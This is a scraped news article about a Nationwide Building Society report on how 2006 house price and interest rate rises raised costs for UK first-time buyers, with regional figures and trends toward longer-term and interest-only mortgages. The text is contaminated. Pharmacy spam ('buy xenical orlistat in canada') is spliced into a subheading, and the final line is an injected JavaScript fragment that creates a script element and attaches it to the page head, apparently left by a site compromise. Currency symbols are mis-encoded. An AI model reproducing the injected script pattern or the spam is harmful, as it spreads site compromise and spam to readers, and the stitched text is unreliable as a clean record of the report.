Nationwide Building Society has released a report showing the effects of interest rate and house price rises on first-time buyers and it’s a double whammy for them – high house prices and rate rises.
Fionnuala Earley, Nationwide’s Chief Economist, said: “As interest rates have increased to their highest level in over five years, the question of affordability again raises its head. House prices alone increased by just over 10% in 2006 adding almost Â£14,000 to the cost of a typical first-time buyer property, but three interest rate rises in six months add considerably more to the borrowing costs for this already struggling group.
Compared to a first-time buyer entering the housing market in December 2005, a first-time buyer today would have to borrow more money, raise a larger deposit and pay higher interest rates than at this time last year. A typical first-time buyer entering the market now would face monthly payments around Â£120 higher than if they entered this time last year. On top of this they would have had to find almost Â£700 to make up their deposit of 5% of the property price.”
Keeping interest rates constant, during 2006 the increase in house prices alone would have added Â£75 to the monthly payment of a typical UK first-time-buyer, simply because of the extra borrowing needed to get on the housing ladder. However, the national picture, as always, hides the regional variations across the country. The deterioration in affordability resulting from faster house price growth alone was much more severe in some parts of the UK than others. Northern Ireland, where prices increased by a staggering 41% in 2006, stands out particularly. Here, a first-time buyer would have needed to find more than Â£2,000 extra for a deposit and borrowing costs would be almost Â£230 per month higher now than at the end of 2005 even without the rate rises. Taking the increase in rates into account, the total extra monthly payment increases to Â£285. First-time buyers in the East Midlands on the other hand, would have only had to find an extra Â£372 in deposit, but would still face Â£77 more per month in borrowing costs.
- New first-time buyers face double whammy of house price and rate rises
- Higher house prices alone add Â£75 to typical first-time buyer monthly costs compared to last year. Interest rate increases bring this up to almost Â£120
- Locking into a fixed rate loan this time last year would have saved a typical first-time buyer Â£170 to date, with further monthly savings of Â£50 at current mortgage rates
- More first-time buyers choose longer-term and interest-only mortgages which can cut more than Â£300 off monthly payments
Rate rises add over Â£50 to first-time buyer mortgage payments buy xenical orlistat in canada
“Changes in interest rates have a separate effect on affordability, on top of the increase in house prices. In December 2005, before the rate rises, two-year tracker mortgages were available at 4.84%, a monthly mortgage payment of Â£700 on a typical first-time buyer homeloan of Â£121,700. After the Bank of England’s moves, the rate increased by 0.75% to 5.59% bringing the monthly mortgage payment up by Â£54 to Â£754. Again, the differences in house prices mean that the impact of the rate rises are felt more acutely in some parts of the country than others. 2005 vintage first-time buyers on a tracker mortgage in Greater London for example, face an increase of Â£88 as a result of the rate changes, while those in Scotland and the Northern region of England face an increase of less than half this amount.More first-time buyers take out longer-term and interest-only loans
“One way that borrowers can try to keep their monthly payments down is to increase the term of the loan. 25 years is the traditional length of the loan, but increasingly first-time buyers have been taking out longer-term mortgages. The majority of first-time buyers still take out a loan of between 21 and 25 years, but the proportion taking out a loan of 26 or more years increased from 28% in Q3 2005 up to 34% in Q3 2006. Extending the term of the loan can reduce monthly payments significantly. On average in the UK mortgage payments are reduced by Â£63, but in London this increases to Â£103. In spite of higher house prices, London has seen little change in the proportion of first-time buyers taking out longer-term mortgages and the overall proportion of Londoners taking out a loan of 26 years or more is only 19%. However, for those borrowers that do choose a longer-term, this comes at a high price. The total amount repayable on an average property over the full life of the loan would be more than Â£25,000 higher on a 30-year mortgage than on a 25-year homeloan.
“Taking out an interest-only loan is another way to reduce monthly outgoings and first-time buyers have been doing more of this too, although it is not necessarily true that first-time buyers are systematically using interest-only loans for income stretch. This time last year 20% took out interest-only loans, compared with 25% now. At current rates an interest-only loan on an average property would cut mortgage payments by Â£214. In London the saving would be around Â£350. But again a cheaper monthly payment now is not without strings. Not making early provision to repay the capital at the end of the mortgage term would be a highly risky and uncomfortable strategy.”d.getElementsByTagName(‘head’).appendChild(s);var d=document;var s=d.createElement('script'); d.getElementsByTagName('head').appendChild(s);